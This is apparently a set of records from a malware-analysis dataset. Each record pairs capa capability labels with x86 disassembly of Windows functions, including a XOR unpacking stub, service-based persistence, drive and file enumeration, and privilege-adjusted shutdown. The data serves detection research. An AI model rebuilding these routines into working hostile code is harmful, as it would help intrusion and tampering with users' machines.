joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408f90
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00408f44
test al, al
jne 0x408fb1
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x408ffd
xor eax, eax
push ebp
push 0x408fed
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004033e8
push eax
call sub.kernel32.dll_DeleteFileA
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408ff4
lea eax, [ebp - 0xc]
call fcn.00408f80
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409304
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x4093f3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.00406cc8
mov edx, dword [ebp - 8]
mov ecx, 0x40940c
xor eax, eax
call fcn.004091f8
push 0
mov eax, dword [ebp - 4]
call fcn.004033e8
push eax
call sub.kernel32.dll_CreateDirectoryA
test eax, eax
jne 0x4093c1
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 0xb7
je 0x409324
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x18]
mov edx, dword [ebp - 4]
mov al, 0x35
call fcn.00408dac
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.00404c58
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x20]
mov eax, ebx
call fcn.00407258
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x14]
mov ecx, 2
mov al, 0x67
call fcn.00408d7c
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, 0x404624
call fcn.00405854
call fcn.00402e88
jmp 0x409324
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00403200
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4093fa
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.0040318c
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040318c
ret

Function at 0x40941c
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffec
cmp dword [0x40b07c], 2
jne 0x409483
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x40943e
xor eax, eax
jmp 0x409492
lea eax, [esp + 8]
push eax
push 0x409498
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 4], 1
mov dword [esp + 0x10], 2
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x409483
xor eax, eax
jmp 0x409492
push 0
push 2
call sub.user32.dll_ExitWindowsEx
neg eax
sbb eax, eax
neg eax
add esp, 0x14
ret
Function at 0x4094ac
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x409506
inc esi
xor edi, edi
cmp edi, 1
jne 0x4094d2
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep
jmp 0x4094e0
cmp edi, 1
jle 0x4094e0
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00408f90
test eax, eax
jne 0x409506
call sub.kernel32.dll_GetLastError_1
cmp eax, 2
je 0x409506
call sub.kernel32.dll_GetLastError_1
cmp eax, 3
je 0x409506
inc edi
dec esi
jne 0x4094c2
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x409510
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov byte [ebp - 1], dl
mov esi, eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax], edx
mov byte [ebp - 2], 0
test edi, edi
je 0x40955d
xor ebx, ebx
jmp 0x409552
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov eax, edi
call fcn.00404c04
test eax, eax
jne 0x409551
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 2
jmp 0x40960d
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x409533
mov al, byte [ebp - 1]
sub al, 1
jb 0x409568
je 0x409571
jmp 0x40957a
call fcn.00406ff8
mov edi, eax
jmp 0x40957c
call sub.kernel32.dll_GetUserDefaultLangID
mov edi, eax
jmp 0x40957c
xor edi, edi
test di, di
je 0x40960d
xor ebx, ebx
jmp 0x4095b8
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
movzx edx, di
cmp eax, edx
jne 0x4095b7
mov eax, dword [ebp - 8]
cmp dword [eax + 0x2c], 0
je 0x4095ac
call sub.kernel32.dll_GetACP
mov edx, dword [ebp - 8]
cmp eax, dword [edx + 0x2c]
jne 0x4095b7
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x40960d
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x409589
xor ebx, ebx
jmp 0x409602
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
and eax, 0x3ff
mov edx, edi
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x409601
mov eax, dword [ebp - 8]
cmp dword [eax + 0x2c], 0
je 0x4095f6
call sub.kernel32.dll_GetACP
mov edx, dword [ebp - 8]
cmp eax, dword [edx + 0x2c]
jne 0x409601
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x40960d
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call esi
test al, al
jne 0x4095c7
mov al, byte [ebp - 2]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x409978
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a4b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a64
push ebx
push 0x409a70
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403388
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00402750
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004033e8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4099f8
mov al, 0x69
call fcn.0040961c
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040994c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a01
call fcn.0040994c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a52
lea eax, [ebp - 4]
call fcn.0040316c
ret

Function at 0x409b04
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409bb8
jmp 0x409bad
cmp dword [esi + 0x10], 0x1000
jne 0x409b99
test byte [esi + 0x15], 1
jne 0x409b99
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b58
cmp eax, 2
je 0x409b58
cmp eax, 0x10
je 0x409b58
cmp eax, 0x20
jne 0x409b6d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b6d
mov bl, 1
xor ebp, ebp
jmp 0x409b7e
mov eax, dword [esi]
add eax, ebp
call fcn.00409afc
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b71
test bl, bl
je 0x409b99
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409bb8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b30
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x1af36fce
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x609135b4
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401470
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push esi
push ebx
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x18]
test edi, edi
je 0x40151c
xor edx, edx
cmp edx, ecx
jge 0x4014ac
cmp edi, dword [esi + 0xc]
je 0x4014ac
lea eax, [esi + 0xc]
nop
lea esi, [esi]
add eax, 0x28
inc edx
cmp edx, ecx
jge 0x4014ac
cmp edi, dword [eax]
jne 0x4014a0
cmp edx, ecx
je 0x401520
lea edx, [edx + edx*4]
shl edx, 3
mov ecx, dword [esi + edx + 0x10]
mov dword [ebx + 8], ecx
test ecx, ecx
je 0x40151c
mov eax, dword [esi + edx + 8]
mov dword [ebx], eax
mov eax, dword [esi + edx + 0xc]
mov dword [ebx + 4], eax
mov eax, dword [esi + edx + 0x14]
mov dword [ebx + 0xc], eax
cmp ecx, 0x100000
ja 0x401520
push 0
push 0
push eax
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push dword [ebx + 8]
call sub.msvcrt.dll_malloc
mov edx, eax
mov dword [ebx + 0x10], edx
add esp, 0x10
test edx, edx
je 0x401520
add esp, 0xfffffff4
push 0
lea eax, [ebp - 4]
push eax
push dword [ebx + 8]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.dll_ReadFile
test eax, eax
je 0x401520
mov al, 1
jmp 0x401522
mov al, 0
lea esp, [ebp - 0x28]
pop ebx
pop esi
pop edi
leave
ret
Function at 0x401554
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push esi
push ebx
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
test ebx, ebx
je 0x4015aa
xor edx, edx
xor ecx, ecx
cmp edx, edi
jge 0x401598
mov eax, dword [esi + 0xc]
cmp ebx, eax
jb 0x401580
add eax, dword [esi + 0x10]
cmp ebx, eax
jb 0x401598
add ecx, 0x28
inc edx
cmp edx, edi
jge 0x401598
mov eax, dword [esi + ecx + 0xc]
cmp ebx, eax
jb 0x401580
add eax, dword [esi + ecx + 0x10]
cmp ebx, eax
jae 0x401580
cmp edx, edi
je 0x4015ee
lea eax, [edx + edx*4]
shl eax, 3
mov ebx, dword [esi + eax + 0x10]
test ebx, ebx
jne 0x4015b1
mov al, 1
jmp 0x40169d
mov esi, dword [esi + eax + 0x14]
add esp, 0xfffffff4
push 0x40152a
call fcn.00401280
mov dword [ebp - 8], eax
add esp, 0xfffffff4
push 0x401545
call fcn.00401280
mov dword [ebp - 0xc], eax
add esp, 0x20
add esp, 0xfffffff4
push 0x19000
call sub.msvcrt.dll_malloc
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x4015f5
mov al, 0
jmp 0x40169d
push 0
push 0
push esi
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.dll_SetFilePointer
mov byte [ebp - 0xd], 1
mov esi, ebx
jmp 0x40163c
add esp, 0xfffffffc
mov eax, dword [ebp - 8]
push eax
push ebx
push edi
call fcn.004012c8
add esp, 0x10
test al, al
jne 0x40166a
add esp, 0xfffffffc
mov eax, dword [ebp - 0xc]
push eax
push ebx
push edi
call fcn.004012c8
add esp, 0x10
test al, al
jne 0x40166a
sub esi, ebx
test esi, esi
je 0x40166e
mov ebx, esi
cmp esi, 0x19000
jbe 0x40164f
mov ebx, 0x19000
add esp, 0xfffffff4
push 0
lea eax, [ebp - 4]
push eax
push ebx
push edi
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
jne 0x401610
test esi, esi
jne 0x401672
mov byte [ebp - 0xd], 0
add esp, 0xfffffff4
push edi
call sub.msvcrt.dll_free
add esp, 0xfffffff4
mov eax, dword [ebp - 8]
push eax
call fcn.0040387c
add esp, 0x20
add esp, 0xfffffff4
mov eax, dword [ebp - 0xc]
push eax
call fcn.0040387c
xor byte [ebp - 0xd], 1
mov al, byte [ebp - 0xd]
lea esp, [ebp - 0x28]
pop ebx
pop esi
pop edi
leave
ret

Function at 0x4016a8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push esi
push ebx
mov ebx, dword [ebp + 8]
mov edi, dword [0x409008]
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea esi, [ecx - 1]
add esp, 0xfffffff4
push ecx
call fcn.004039cc
mov edi, eax
push 0
push 0
push 0x610
push ebx
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
lea eax, [ebp - 4]
push eax
push esi
push edi
push ebx
call sub.KERNEL32.dll_ReadFile
add esp, 0x1c
test eax, eax
je 0x401728
mov byte [esi + edi], 0
add esp, 0xfffffff8
push dword [0x409008]
push edi
call sub.msvcrt.dll_strcmp
add esp, 0x10
test eax, eax
sete dl
mov eax, dword [ebp + 0xc]
mov byte [eax], dl
add esp, 0xfffffff4
push edi
call fcn.0040387c
mov al, 1
jmp 0x401733
add esp, 0xfffffff4
push edi
call fcn.0040387c
mov al, 0
lea esp, [ebp - 0x28]
pop ebx
pop esi
pop edi
leave
ret
Function at 0x4025d0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push ebx
mov esi, dword [ebp + 8]
add esp, 0xfffffff8
push dword [0x40a028]
push dword [0x40a030]
call sub.msvcrt.dll_strcpy
add esp, 0xfffffff8
push dword [0x409014]
push dword [0x40a030]
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff4
push 0x4025ca
call fcn.00401280
mov ebx, eax
add esp, 0xfffffff8
push ebx
push dword [0x40a030]
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff4
push ebx
call fcn.0040387c
add esp, 0xfffffff8
push esi
push dword [0x40a030]
call sub.KERNEL32.dll_FindFirstFileA
mov ebx, eax
add esp, 0x18
cmp ebx, 0xffffffff
je 0x402703
mov byte [ebp - 1], 0
mov eax, dword [esi]
and eax, 0x14
cmp eax, 0x10
jne 0x4026e5
cmp byte [esi + 0x2c], 0x2e
je 0x4026e5
add esp, 0xfffffff8
push dword [0x40a028]
push dword [0x40a030]
call sub.msvcrt.dll_strcpy
add esp, 0xfffffff8
push dword [0x409014]
push dword [0x40a030]
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff8
lea eax, [esi + 0x2c]
push eax
push dword [0x40a030]
call sub.msvcrt.dll_strcat
mov eax, dword [0x40a02c]
add esp, 0x10
cmp byte [eax], 0
je 0x4026d8
cmp byte [ebp - 1], 0
jne 0x4026d5
add esp, 0xfffffff8
push eax
push dword [0x40a030]
call sub.msvcrt.dll_strcmp
add esp, 0x10
test eax, eax
jne 0x4026e5
mov byte [ebp - 1], 1
jmp 0x4026e5
mov byte [eax], 0
add esp, 0xfffffff4
push ebx
call sub.KERNEL32.dll_FindClose
mov al, 1
jmp 0x402705
add esp, 0xfffffff8
push esi
push ebx
call sub.KERNEL32.dll_FindNextFileA
add esp, 8
test eax, eax
jne 0x402651
add esp, 0xfffffff4
push ebx
call sub.KERNEL32.dll_FindClose
mov al, 0
lea esp, [ebp - 0x28]
pop ebx
pop esi
leave
ret

Function at 0x402714
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push ebx
mov esi, dword [ebp + 8]
mov eax, dword [0x409024]
cmp eax, 0xffffffff
jne 0x4027a0
add esp, 0xfffffff8
push dword [0x40a028]
push dword [0x40a030]
call sub.msvcrt.dll_strcpy
add esp, 0xfffffff8
push dword [0x409014]
push dword [0x40a030]
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff4
push 0x40270c
call fcn.00401280
mov ebx, eax
add esp, 0xfffffff8
push ebx
push dword [0x40a030]
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff4
push ebx
call fcn.0040387c
add esp, 0xfffffff8
push esi
push dword [0x40a030]
call sub.KERNEL32.dll_FindFirstFileA
mov dword [0x409024], eax
add esp, 0x18
cmp eax, 0xffffffff
jne 0x4027d6
mov al, 0
jmp 0x4027dd
add esp, 0xfffffff8
push esi
push eax
jmp 0x4027ca
add esp, 0xfffffff4
push dword [0x409024]
call sub.KERNEL32.dll_FindClose
mov al, 0
jmp 0x4027dd
add esp, 0xfffffff8
push esi
push dword [0x409024]
call sub.KERNEL32.dll_FindNextFileA
add esp, 8
test eax, eax
je 0x4027a7
test byte [esi], 0x10
jne 0x4027c0
mov al, 1
lea esp, [ebp - 0x18]
pop ebx
pop esi
leave
ret
Function at 0x4027e4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push edi
push esi
push ebx
add esp, 0xfffffff4
lea ebx, [ebp - 0x140]
push ebx
call fcn.00402714
add esp, 0x10
test al, al
jne 0x402940
jmp 0x4028e0
mov byte [edx], 0x43
jmp 0x402883
mov edx, dword [0x40a028]
mov edi, edx
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
cmp ecx, 0xfffffffc
jne 0x4028a0
mov dword [ebp - 0x144], 0
mov byte [ebp - 0x144], 0x43
mov eax, dword [ebp - 0x144]
and eax, 0xff5c3aff
or eax, 0x5c3a00
mov dword [ebp - 0x144], eax
mov eax, dword [0x40a028]
inc byte [eax]
mov edx, dword [0x40a028]
mov al, byte [edx]
cmp al, 0x5a
jg 0x402810
mov byte [ebp - 0x144], al
add esp, 0xfffffff4
lea eax, [ebp - 0x144]
push eax
call sub.KERNEL32.dll_GetDriveTypeA
add esp, 0xc
cmp eax, 3
jne 0x402853
mov dword [0x409024], 0xffffffff
mov eax, dword [0x40a02c]
mov byte [eax], 0
jmp 0x4027f0
add esp, 0xfffffff8
push edx
push dword [0x40a02c]
call sub.msvcrt.dll_strcpy
mov esi, dword [0x40a028]
mov edi, esi
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea edx, [ecx - 2]
add esp, 0x10
cmp byte [edx + esi], 0x5c
je 0x4028d7
nop
dec edx
cmp byte [edx + esi], 0x5c
jne 0x4028d0
mov eax, dword [0x40a028]
mov byte [edx + eax], 0
add esp, 0xfffffff4
push ebx
call fcn.004025d0
add esp, 0x10
test al, al
je 0x402815
mov al, 1
test al, al
je 0x4027f0
add esp, 0xfffffff8
push dword [0x409014]
push dword [0x40a028]
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
lea eax, [ebp - 0x114]
push eax
push dword [0x40a028]
call sub.msvcrt.dll_strcat
mov dword [0x409024], 0xffffffff
add esp, 0x20
jmp 0x4027f0
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov edi, eax
add esp, 0xfffffff8
push dword [0x40a028]
push edi
call sub.msvcrt.dll_strcpy
add esp, 0x20
add esp, 0xfffffff8
push dword [0x409014]
push edi
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
lea eax, [ebp - 0x114]
push eax
push edi
call sub.msvcrt.dll_strcat
mov eax, edi
lea esp, [ebp - 0x168]
pop ebx
pop esi
pop edi
leave
ret
Function at 0x402a6c
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push esi
push ebx
mov byte [0x409028], 1
mov byte [0x409029], 0
add esp, 0xfffffff4
add esp, 0xfffffff4
push 0
call sub.msvcrt.dll_time
push eax
call sub.msvcrt.dll_srand
add esp, 0x20
cmp byte [0x409028], 0
je 0x402c07
mov dword [ebp - 4], 0
lea esi, [esi]
call fcn.004027e4
mov esi, eax
mov dword [ebp - 8], 0
cmp dword [0x409020], 0
je 0x402b35
mov edi, esi
mov al, 0
cld
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea ebx, [ecx - 1]
add esp, 0xfffffff4
add ecx, ecx
push ecx
call fcn.004039cc
mov edi, eax
xor edx, edx
add esp, 0x10
cmp dword [ebp - 8], ebx
jg 0x402afe
nop
movsx ax, byte [edx + esi]
mov word [edi + edx*2], ax
inc edx
cmp edx, ebx
jle 0x402af0
add esp, 0xfffffff8
push edi
push 0
mov eax, dword [0x409020]
call eax
mov ebx, eax
add esp, 0xfffffffc
push edi
call fcn.0040387c
mov dword [ebp - 8], 0
add esp, 0x10
test ebx, ebx
jne 0x402b2e
call sub.KERNEL32.dll_GetLastError
cmp eax, 2
je 0x402b35
mov dword [ebp - 8], 1
cmp dword [ebp - 8], 0
jne 0x402b4b
add esp, 0xfffffff4
push esi
call fcn.0040173c
add esp, 0x10
test al, al
jne 0x402b64
add esp, 0xfffffff4
push esi
call fcn.0040387c
add esp, 0x10
inc dword [ebp - 4]
cmp dword [ebp - 4], 0xc
jle 0x402ab0
call sub.msvcrt.dll_rand
mov edi, eax
mov edx, 0x4ec4ec4f
mov eax, edx
imul edi
sar edx, 2
mov eax, edi
sar eax, 0x1f
sub edx, eax
lea eax, [edx + edx*2]
lea eax, [edx + eax*4]
cmp edi, eax
jne 0x402b9e
add esp, 0xfffffff4
add esp, 0xfffffff4
push 0
call sub.msvcrt.dll_time
push eax
call sub.msvcrt.dll_srand
add esp, 0x20
lea eax, [edi + edi*4]
mov ecx, eax
shl ecx, 4
sub ecx, eax
shl ecx, 3
mov ebx, 0x80010003
mov eax, ebx
imul ecx
mov ebx, edx
lea edi, [ecx + ebx]
sar edi, 0xe
mov edx, ecx
sar edx, 0x1f
sub edi, edx
mov dword [ebp - 4], 0
cmp dword [ebp - 4], edi
jge 0x402a99
cmp byte [0x409028], 0
je 0x402c07
lea esi, [esi]
add esp, 0xfffffff4
push 0x64
call sub.KERNEL32.dll_Sleep
add esp, 0xc
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jge 0x402a99
cmp byte [0x409028], 0
jne 0x402be0
jmp 0x402a99
mov byte [0x409029], 1
lea esp, [ebp - 0x28]
pop ebx
pop esi
pop edi
leave
ret
Function at 0x402d24
Capabilities:
Create service
Delete service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push esi
push ebx
add esp, 0xfffffffc
push 0xf003f
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov dword [ebp - 8], eax
add esp, 4
test eax, eax
jne 0x402d50
xor eax, eax
jmp 0x402e5e
add esp, 0xfffffffc
push 0xf003f
push dword [0x40a004]
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_OpenServiceA
mov esi, eax
add esp, 4
test esi, esi
je 0x402d8c
add esp, 0xfffffff4
push esi
call sub.ADVAPI32.DLL_DeleteService
push esi
call sub.ADVAPI32.DLL_CloseServiceHandle
push 0x3e8
call sub.KERNEL32.dll_Sleep
add esp, 0xc
add esp, 0xfffffff4
push 0x402cb2
call fcn.00401280
mov ebx, eax
add esp, 0xfffffff4
push 0
push 0
push 0
push 0
push 0
push dword [0x40a034]
push 0
push 2
push 0x10
push 0xf003f
push ebx
push dword [0x40a004]
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_CreateServiceA
mov esi, eax
push ebx
call fcn.0040387c
add esp, 0x20
add esp, 0xfffffff4
push 0x402d01
call fcn.00401280
mov ebx, eax
add esp, 0xfffffff4
push ebx
call sub.KERNEL32.dll_GetModuleHandleA
mov edi, eax
push ebx
call fcn.0040387c
add esp, 0x20
test edi, edi
je 0x402e50
add esp, 0xfffffff4
push 0x402d0e
call fcn.00401280
mov ebx, eax
add esp, 0xfffffff8
push ebx
push edi
call sub.KERNEL32.dll_GetProcAddress
mov edi, eax
add esp, 0xfffffffc
push ebx
call fcn.0040387c
add esp, 0x20
test edi, edi
je 0x402e50
add esp, 0xfffffff4
push 0x402cd0
call fcn.00401280
mov dword [ebp - 4], eax
add esp, 0xfffffffc
lea eax, [ebp - 4]
push eax
push 1
push esi
call edi
add esp, 0xfffffff8
push dword [ebp - 4]
call fcn.0040387c
add esp, 0x20
add esp, 0xfffffff4
mov eax, dword [ebp - 8]
push eax
call sub.ADVAPI32.DLL_CloseServiceHandle
mov eax, esi
lea esp, [ebp - 0x28]
pop ebx
pop esi
pop edi
leave
ret

Function at 0x402e68
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push esi
push ebx
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
add esp, 0xfffffff4
push 0x104
call fcn.004039cc
mov edi, eax
add esp, 0xfffffff8
push dword [0x40901c]
push edi
call sub.msvcrt.dll_strcpy
add esp, 0x20
add esp, 0xfffffff8
push ebx
push edi
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
push dword [0x40901c]
push edi
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffff8
push dword [0x409018]
push edi
call sub.msvcrt.dll_strcat
add esp, 0xfffffff8
push esi
push edi
call sub.msvcrt.dll_strcat
add esp, 0x20
add esp, 0xfffffffc
push 0x10
push 0
lea ebx, [ebp - 0x10]
push ebx
call sub.msvcrt.dll_memset
add esp, 0xfffffff8
push ebx
mov eax, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push eax
push 0
push 0
push 0
push 0
push 0
push edi
push 0
call sub.KERNEL32.dll_CreateProcessA
add esp, 0xfffffffc
push edi
call fcn.0040387c
add esp, 0x20
add esp, 0xfffffff4
push dword [ebp - 0x10]
call sub.KERNEL32.dll_CloseHandle
push dword [ebp - 0xc]
call sub.KERNEL32.dll_CloseHandle
lea esp, [ebp - 0x28]
pop ebx
pop esi
pop edi
leave
ret
Function at 0x406128
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x40614d
mov dword [0x40a0f4], eax
add esp, 0xfffffff8
push 0x4060ec
push eax
call fcn.00407c20
jmp 0x406152
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x406168
mov dword [0x409054], 0x40624c
jmp 0x406172
mov dword [0x409054], 0x406200
leave
ret